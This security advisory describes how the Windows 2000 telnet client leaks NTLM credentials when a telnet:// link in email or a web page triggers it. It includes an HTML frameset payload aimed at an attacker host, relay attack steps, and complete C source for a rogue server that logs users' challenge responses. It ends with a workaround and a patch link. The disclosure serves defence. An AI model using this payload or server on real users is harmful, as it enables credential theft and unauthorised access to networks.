COMMAND

    telnet

SYSTEMS AFFECTED

    Windows 2000

PROBLEM

    Following is  based at  @stake Security  Advisory by  DilDog.  The
    telnet client in  Windows 2000 may  be launched via  e-mail or web
    browsing,  causing  undesirable  outbound  authentication over the
    Internet  to  an  untrusted  third   party.   This  can  lead   to
    compromised passwords or stolen credentials.

    The  console  telnet  client  that  is  packaged with Windows 2000
    performs NTLM authentication by default, assuming that is going to
    be connecting to a Windows 2000 telnet server.  This, however,  is
    not necessarily the case, and it attempts authentication with  any
    host it contacts.  This combined with the fact that many email and
    web  browser  packages  will  parse  the  "telnet://" protocol and
    launch the telnet client to the desired host can lead to  outbound
    NTLM authentications.   These authentications  can be  cracked  to
    determine  passwords,   or  replayed   to  illegitimately   access
    networked  resources.   The  protocol  used  in  the  NTLM  telnet
    transaction is described in detail  below, and a proof of  concept
    tool  is  provided  that  demonstrates  the  negotiation  and logs
    responses from the client.

    Windows  2000  is  packaged  with  a  console  mode telnet client,
    specially designed  for connecting  to the  Windows Telnet Server.
    Amongst  the  modifications  to  the  standard  telnet   protocol,
    Microsoft has added  a negotiation type  to authenticate via  NTLM
    with the target server, per the IETF working draft:

        http://www.ietf.org/internet-drafts/draft-tso-telnet-auth-enc-05.txt

    The NTLM protocol  is authentication type  15.  The  telnet client
    will  attempt  negotiation  with  any  server  on  the   Internet,
    regardless   of   zone   control   or   otherwise,   unless   NTLM
    authentication has been  disabled in the  telnet client (it  is on
    by default).

    Initially, this seems benign, but when combined with the fact that
    Microsoft  Internet  Explorer,   Outlook,  Outlook  Express,   and
    Netscape   Navigator   and   Messenger   will   all   open  telnet
    automatically when they encounter a "telnet://" URL.  This  allows
    an attacker to craft an email in the following format that  forces
    an outbound authentication over any port:

        <html>
        <frameset rows="100%,*">
        <frame src=about:blank>
        <frame src=telnet://evil.ip.address:port>
        </frameset>
        </html>

    Note that this attack affects a multitude of HTML parsers, and  is
    not  reliant  upon  any  form  of  Active Scripting, Javascript or
    otherwise, to launch the telnet client to the desired host.

    One of  the severe  ramafications of  this is  the ability for the
    NTLM  challenge/response  to  be  replayed  to  access  a  network
    resource.  The scenario is as follows:

        A=attacker
        C=client
        S=server (network resource to attack)
        C has legitimate access to S

        1. 'A' sends evil framed email to 'C'.
        2. 'C' reads email, opens telnet connection to 'A'
        3. 'A' receives telnet connection and makes SMB connection  to
           'S'.
        4. 'S' receives SMB connection and sends challenge to 'A'
        5. 'A' sends challenge to 'C'.
        6. 'C' receives  challenge,  encrypts  with  hash, and  sends
           response to 'A'.
        7. 'A' receives response and sends it to 'S'.
        8. 'S' receives  response  and  authenticates  'A' to   access
           requested SMB share.

    Another attack that  is possible, is  that since the  challenge is
    chosen by the telnet server, a challenge could be specially chosen
    to send to  the telnet client  such that the  response more easily
    cracked than with  a random challenge.   This effectively  removes
    the extra  complexity added  by the  challenge response  mechanism
    that one normally encounters  while attempting to crack  passwords
    that were sniffed off of a network transaction.

    The normal NTLM challenge/response negotiation sequence occurs  in
    the telnet protocol data stream in the following fashion:

        Nomenclature
        ============
        IAC=255,DONT=254,DO=253,WONT=252,WILL=251,SB=250,SE=240
        AUTH=37,IS=0,SEND=1,REPLY=2,NAME=3,NTLM=15
        DD=32 bit little endian data
        DW=16 bit little endian data
        DB=8 bit little endian data
        US=Unicode string, no extra null terminator
        AS=Ansi string, no extra null terminator

        Client                             Server
        ========================           ========================
        IAC WILL AUTH
                                           IAC SB AUTH
                                           SEND NTLM 0x00 IAC SE
        IAC SB AUTH
        IS NTLM 0x00 0x00
        DD 0x00000020           ; Length
        DD 0x00000002           ; Type
        AS "NTLMSSP\0"          ; Signature
        DD 0x00000001           ; Sequence #
        DD 0xE0008297           ; ?Flags?
        DD 0x00000000           ; Padding (room for client challenge?)
        DD 0x00000000
        DD 0x00000000
        DD 0x00000000
        IAC SE
                                           IAC SB AUTH
                                           REPLY NTLM 0x00 0x01
                                           DD 0x000000A8               ; Length
                                           DD 0x00000002               ; Type
                                           AS "NTLMSSP\0"              ; Signature
                                           DD 0x00000002               ; Sequence#
                                           DW 0x0014,0x0014            ; Field
                                                               ; length (min/max)
                                           DD 0x00000030               ; Offset
                                                               ; from start
                                           DD 0xE0828295               ; ?Flags?
                                           DB 0x01 0x02 0x03 0x04      ; 8 byte
                                           DB 0x02 0x03 0x04 0x05      ; Challenge
                                           DD 0x00000000               ; Padding
                                           DD 0x00000000
                                           DW 0x0064,0x0064            ; Next
                                                               ; Field
                                                               ; length(min/max)
				           DD 0x00000044               ; Offset
                                                               ; from start
                                                      ... other fields...
        IAC SB AUTH
        IS NTLM 0x00 0x02
        DD 0x000000B4           ; Length
        DD 0x00000002           ; Type
        AS "NTLMSSP\0"          ; Signature
        DD 0x00000003           ; Sequence
        DW 0x0018,0x0018        ; NTLM Response Field length (min/max)
        DD 0x00000074           ; NTLM Response Offset
        DW 0x0018,0x0018        ; LM Response Field length (min/max)
        DD 0x0000008C           ; LM Response Offset
        DW 0x0014,0x0014        ; Domain Name Field length (min/max)
        DD 0x00000040           ; Domain Name Offset
        DW 0x000C,0x000C        ; User Name Field length (min/max)
        DD 0x00000054           ; User Name Offset
        DW 0x0014,0x0014        ; Machine Name Field length (min/max)
        DD 0x00000060           ; Machine Name Offset
        DW 0x0010,0x0010        ; ??? Field length (min/max)
        DD 0x000000A4           ; ??? Offset
        DD 0xE0808295           ; ?Flags?
        US "ABCDEGHIJK"		; Domain Name
        US "foobar"             ; User Name
        US "ABCDEGHIJK"         ; Machine Name
        DB 1,2,3,4,5,6,7,8      ; 24 Bytes of NTLM Response
        DB 1,2,3,4,5,6,7,8
        DB 1,2,3,4,5,6,7,8
        DB 1,2,3,4,5,6,7,8      ; 24 Bytes of LM Response
        DB 1,2,3,4,5,6,7,8
        DB 1,2,3,4,5,6,7,8
        DB 1,2,3,4,5,6,7,8      ; 16 Bytes of Unknown Cruft
        DB 1,2,3,4,5,6,7,8
        IAC SE
                                                IAC SB AUTH
                                                REPLY NTLM 0x00 0x03
                                                DD 0xFDFFF0FF         ; Flags?
                                                DB 0x18
                                                ....

    Following  code  will  act  as  a  rogue telnet server, and send a
    constant  challenge  of  0xFF  bytes  to  any  telnet  client that
    connects to it, and it logs the response to a disk file.  The code
    was written under Linux.

    /* TalkNTLM - NTLM Logging Telnet Server
     * dildog@atstake.com
     * 8/14/00
     * Copyright (C) 2000 @stake, Inc.
     */

    #include<stdio.h>
    #include<string.h>
    #include<unistd.h>
    #include<stdlib.h>
    #include<ctype.h>
    #include<sys/socket.h>
    #include<sys/types.h>
    #include<sys/wait.h>
    #include<netinet/in.h>
    #include<arpa/inet.h>

    #define MAJOR_VERSION 1
    #define MINOR_VERSION 0

    #define IAC     255             /* interpret as command: */
    #define DONT    254             /* you are not to use option */
    #define DO      253             /* please, you use option */
    #define WONT    252             /* I won't use option */
    #define WILL    251             /* I will use option */
    #define SB      250             /* interpret as subnegotiation */
    #define SE      240             /* end sub negotiation */
    #define AUTH    37
    #define IS      0
    #define SEND    1
    #define REPLY   2
    #define NAME    3
    #define NTLM    15

    #define ACCEPT 1

    typedef enum {
      METHOD_NONE=0,
      METHOD_TELNET
    } METHOD;

    typedef enum {
      SUBMETHOD_NONE=0,
      SUBMETHOD_LOG,
    } SUBMETHOD;

    #define COMMSOCK_BUFSIZ 2048
    FILE *g_fCommSock;
    char g_CommSockBuf[COMMSOCK_BUFSIZ];

    void error(const char *str)
    {
      fflush(stdout);
      fprintf(stderr,str);
      fflush(stderr);
    }

    unsigned char getb(void)
    {
      unsigned char b=0;
      fread(&b,1,1,g_fCommSock);
      return b;
    }

    unsigned short getdwl(void)
    {
      unsigned short s=0;
      s|=((unsigned short)getb());
      s|=((unsigned short)getb())<<8;
      return s;
    }

    unsigned long getddl(void)
    {
      unsigned long l=0;
      l|=((unsigned long)getb());
      l|=((unsigned long)getb())<<8;
      l|=((unsigned long)getb())<<16;
      l|=((unsigned long)getb())<<24;
      return l;
    }

    void putb(unsigned char c)
    {
      fwrite(&c,1,1,g_fCommSock);
    }

    void putdwl(unsigned short w)
    {
      putb(w&255);
      putb((w>>8)&255);
    }

    void putddl(unsigned long d)
    {
      putb(d&255);
      putb((d>>8)&255);
      putb((d>>16)&255);
      putb((d>>24)&255);
    }


    void putarrb(int n, unsigned char *b)
    {
      int i;
      for(i=0;i<n;i++) {
        putb(b[i]);
      }
    }

    void putarrc(int n, char *c)
    {
      putarrb(n,(unsigned char *)c);
    }

    void putflush(void)
    {
      fflush(g_fCommSock);
    }


    void debugb(unsigned char c)
    {
      fprintf(stderr,"%d\t\t%X\t'%c'\n\r",c,c,(isalnum(c)?c:' '));
    }


    int listenport(int port, struct sockaddr_in *rsaddr)
    {
      // Create socket
      int s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
      if(s<0) {
        error("couldn't create socket.\n");
        return -1;
      }

      int reuse=1;
      if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&reuse,sizeof(int))<0) {
        error("couldn't set socket option.\n");
        close(s);
        return -2;
      }

      // Bind to port
      struct sockaddr_in saddr;
      memset(&saddr,0,sizeof(struct sockaddr_in));
      saddr.sin_port=htons(port);
      saddr.sin_family=AF_INET;

      if(bind(s,(struct sockaddr *)&saddr,sizeof(struct sockaddr_in))<0) {
        error("couldn't bind.\n");
        close(s);
        return -3;
      }

      // Listen on port;
      if(listen(s,1)<0) {
        error("couldn't listen.\n");
        close(s);
        return -4;
      }

      // Accept connection
      unsigned int socklen=sizeof(struct sockaddr_in);
      memset(rsaddr,0,socklen);
      int as;
      if((as=accept(s,(struct sockaddr *)rsaddr,&socklen))<0) {
        error("couldn't accept.\n");
        close(s);
        return -5;
      }

      // Close listener
      close(s);

      return as;
    }

    int do_telnet_log(int port, char *logfile)
    {

      FILE *lf=NULL;

      while(1) {

        // Wait for telnet connection to come in
        struct sockaddr_in saddr;
        int s;
        printf("listening on port %d.\n",port);
        if((s=listenport(port,&saddr))<0) {
          error("telnet logging abort.\n");
          return -1;
        }
        printf("recieved telnet connection from %s:%u.\n",
	       inet_ntoa(saddr.sin_addr),ntohs(saddr.sin_port));

        // Set this socket as out buffered packet socket
        g_fCommSock=fdopen(s,"r+b");
        if(g_fCommSock==NULL) {
          error("couldn't fdopen comm socket.\n");
          close(s);
          return -2;
        }
        setvbuf(g_fCommSock,g_CommSockBuf,_IOFBF,COMMSOCK_BUFSIZ);

        // Open logging file
        lf=fopen(logfile,"a+t");
        if(lf==NULL) {
          error("couldn't open log file.\n");
          fclose(g_fCommSock);
          return -3;
        }

        // Challenge to send
        unsigned char challenge[8]={255,255,255,255,255,255,255,255};

        // Start authentication process
        unsigned char *respbuf=NULL;
        int size=0;

        putb(IAC);
        putb(DO);
        putb(AUTH);
        putflush();
        printf(">> IAC DO AUTH\n");

        // See if client wants to authenticate
        if(getb()!=IAC) goto telnetlogfail;
        if(getb()!=WILL) goto telnetlogfail;
        if(getb()!=AUTH) goto telnetlogfail;
        printf("<< IAC WILL AUTH\n");

        // Present authentication methods
        putb(IAC);
        putb(SB);
        putb(AUTH);
        putb(SEND);
        putb(NTLM);
        putb(0);
        putb(IAC);
        putb(SE);
        putflush();
        printf(">> IAC SB AUTH SEND NTLM 0 IAC SE\n");

        // Get NTLMSSP initial request
        if(getb()!=IAC) goto telnetlogfail;
        if(getb()!=SB) goto telnetlogfail;
        if(getb()!=AUTH) goto telnetlogfail;
        if(getb()!=IS) goto telnetlogfail;
        if(getb()!=NTLM) goto telnetlogfail;
        if(getb()!=0) goto telnetlogfail;
        if(getb()!=0) goto telnetlogfail;

        size=getddl()+4;
        if(size>2048) goto telnetlogfail;
        respbuf=(unsigned char *)malloc(size);
        int i;
        for(i=0;i<size;i++) {
          respbuf[i]=getb();
        }
        free(respbuf);
        if(getb()!=IAC) goto telnetlogfail;
        if(getb()!=SE) goto telnetlogfail;

        printf("<< IAC SB AUTH IS NTLM 0 0 ... IAC SE\n");

        // Send accept
        putb(IAC);
        putb(SB);
        putb(AUTH);
        putb(REPLY);
        putb(NTLM);
        putb(0);
        putb(ACCEPT);

        putddl(0xA8);
        putddl(0x2);
        putarrc(8,"NTLMSSP");
        putddl(0x2);
        putdwl(0x14);
        putdwl(0x14);
        putddl(0x30);
        putddl(0xE0828295);
        putarrb(8,challenge);
        putarrc(8,"\0\0\0\0\0\0\0\0");
        putdwl(0x64);
        putdwl(0x64);
        putddl(0x44);
        putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
        putdwl(0x2);
        putdwl(0x14);
        putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
        putdwl(0x1);
        putdwl(0x14);
        putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
        putdwl(0x4);
        putdwl(0x14);
        putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
        putdwl(0x3);
        putdwl(0x14);
        putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
        putddl(0);

        putb(IAC);
        putb(SE);
        putflush();
        printf(">> IAC SB AUTH REPLY NTLM 0 1 ... challenge ... IAC SE\n");

        // Get the reply packet
        if(getb()!=IAC) goto telnetlogfail;
        if(getb()!=SB) goto telnetlogfail;
        if(getb()!=AUTH) goto telnetlogfail;
        if(getb()!=IS) goto telnetlogfail;
        if(getb()!=NTLM) goto telnetlogfail;
        if(getb()!=0) goto telnetlogfail;
        if(getb()!=2) goto telnetlogfail;

        size=getddl()+4;
        if(size>2048 || size<64) goto telnetlogfail;
        printf("8\n");
        respbuf=(unsigned char *)malloc(size);
        for(i=0;i<size;i++) {
          respbuf[i]=getb();
          //fprintf(stderr,"%2.2X: ",i);
          //debugb(respbuf[i]);
        }
        if(getb()!=IAC) goto telnetlogfail;
        if(getb()!=SE) goto telnetlogfail;

        printf("<< IAC SB AUTH IS NTLM 0 2 ... response ... IAC SE\n");


        // Get username
        int usernamelen,usernameoff;
        char *username;
        usernamelen=respbuf[0x28] | (respbuf[0x29]<<8);
        usernameoff=respbuf[0x2C] | (respbuf[0x2D]<<8) |
          (respbuf[0x2E]<<16) | (respbuf[0x2F]<<24);
        username=(char *)malloc(usernamelen);
        if(!username) goto telnetlogfail;
        memcpy(username,&respbuf[usernameoff+4],usernamelen);
        printf("Username: ");
        for(i=0;i<usernamelen;i+=2) {
          printf("%c",username[i]);
          fprintf(lf,"%c",username[i]);
          username[i>>1]=username[i];
        }
        usernamelen>>=1;
        printf("\n");
        fprintf(lf,":");
        free(username);

        // Get domainname
        int domainnamelen,domainnameoff;
        char *domainname;
        domainnamelen=respbuf[0x20] | (respbuf[0x21]<<8);
        domainnameoff=respbuf[0x24] | (respbuf[0x25]<<8) |
          (respbuf[0x26]<<16) | (respbuf[0x27]<<24);
        domainname=(char *)malloc(domainnamelen);
        if(!domainname) goto telnetlogfail;
        memcpy(domainname,&respbuf[domainnameoff+4],domainnamelen);
        printf("Domain: ");
        for(i=0;i<domainnamelen;i+=2) {
          printf("%c",domainname[i]);
          fprintf(lf,"%c",username[i]);
          domainname[i>>1]=domainname[i];
        }
        domainnamelen>>=1;
        printf("\n");
        fprintf(lf,":");
        free(domainname);

        // Write challenge
        fprintf(lf,"%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X:",
	        challenge[0],challenge[1],challenge[2],challenge[3],
	        challenge[4],challenge[5],challenge[6],challenge[7]);

        // Get NT response
        int ntresplen,ntrespoff;
        unsigned char *ntresp;
        ntresplen=respbuf[0x10] | (respbuf[0x11]<<8);
        ntrespoff=respbuf[0x14];// | (respbuf[0x15]<<8) | (respbuf[0x16]<<16) | (respbuf[0x17]<<24);
        ntresp=(unsigned char *)malloc(ntresplen);
        if(!ntresp) goto telnetlogfail;
        memcpy(ntresp,&respbuf[ntrespoff+4],ntresplen);
        printf("NT Response:\n");
        for(i=0;i<ntresplen;i++) {
          printf("%2.2X ",ntresp[i]);
          fprintf(lf,"%2.2X",ntresp[i]);
          if(i%8==7) printf("\n");
        }
        printf("\n");
        fprintf(lf,":");
        free(ntresp);

        // Get LM response
        int lmresplen,lmrespoff;
        unsigned char *lmresp;
        lmresplen=respbuf[0x18] | (respbuf[0x19]<<8);
        lmrespoff=respbuf[0x1C] | (respbuf[0x1D]<<8) |
          (respbuf[0x1E]<<16) | (respbuf[0x1F]<<24);
        lmresp=(unsigned char *)malloc(lmresplen);
        if(!lmresp) goto telnetlogfail;
        memcpy(lmresp,&respbuf[lmrespoff+4],lmresplen);
        printf("LM Response:\n");
        for(i=0;i<lmresplen;i++) {
          printf("%2.2X ",lmresp[i]);
          fprintf(lf,"%2.2X",lmresp[i]);
          if(i%8==7) printf("\n");
        }
        printf("\n");
        fprintf(lf,"\n");
        free(lmresp);

        free(respbuf);

        fclose(lf);
        // Close the telnet session
        fclose(g_fCommSock);
        printf("closed telnet socket.\n");

      }

      return 0;

     telnetlogfail:; // Failure

      if(lf!=NULL)
        fclose(lf);
      printf("telnet negotiation failed.\n");
      fclose(g_fCommSock);

      return -5;
    }



    void usage(char *progname,int exitcode)
    {
      printf("talkntlm v%d.%d (%s)\n",MAJOR_VERSION,MINOR_VERSION,progname);
      printf("usage: talkntlm -t [-p <port>] -l <challenge response logfile>\n",progname);
      exit(exitcode);
    }


    int main(int argc, char *argv[])
    {
      unsigned char b;
      int i,tp;

      // Get options

      int opt_port=0;
      char *opt_logfile=NULL;
      METHOD opt_method=METHOD_NONE;
      SUBMETHOD opt_submethod=SUBMETHOD_NONE;

      char oc;
      while((oc=getopt(argc,argv,"l:p:t"))>0) {
        switch(oc) {
        case 't':
          opt_method=METHOD_TELNET;
          if(opt_port==0) {
	    opt_port=23;
          }
          break;
        case 'p':
          opt_port=atoi(optarg);
          break;
        case 'l':
          opt_logfile=optarg;
          if(opt_submethod!=SUBMETHOD_NONE)
	    usage(argv[0],-2);
          opt_submethod=SUBMETHOD_LOG;
          break;
        default:
          usage(argv[0],-3);

          break;
        }
      }

      // Go to the particular method
      if(opt_method==METHOD_NONE) {
        usage(argv[0],-4);
      }
      else if(opt_method==METHOD_TELNET) {

        // Telnet methods

        if(opt_submethod==SUBMETHOD_NONE) {
          usage(argv[0],-5);

        }
        else if(opt_submethod==SUBMETHOD_LOG) {

          // Telnet hash logging

          if(opt_logfile==NULL) {
	    usage(argv[0],-7);
          }
          if(do_telnet_log(opt_port,opt_logfile)!=0)
	    return -8;

        }

      }

      return 0;
    }

SOLUTION

    Run "telnet" at  the command prompt,  enter "unset ntlm"  and then
    exit telnet to save your  preferences into the registry.   You may
    go so far as removing the telnet URL type from the registry if you
    are   a   proficient   registry   hacker,   unsetting   the   NTLM
    authentication should  be sufficient  until an  official patch  is
    available.  This is workaround.

    Patch availability:

        http://www.microsoft.com/Downloads/Release.asp?ReleaseID=24399

    This  patch  may  be  applied  to  both Windows 2000 (pre SP1) and
    Windows 2000 Service Pack 1 systems.  This patch was rereleased on
    21st September.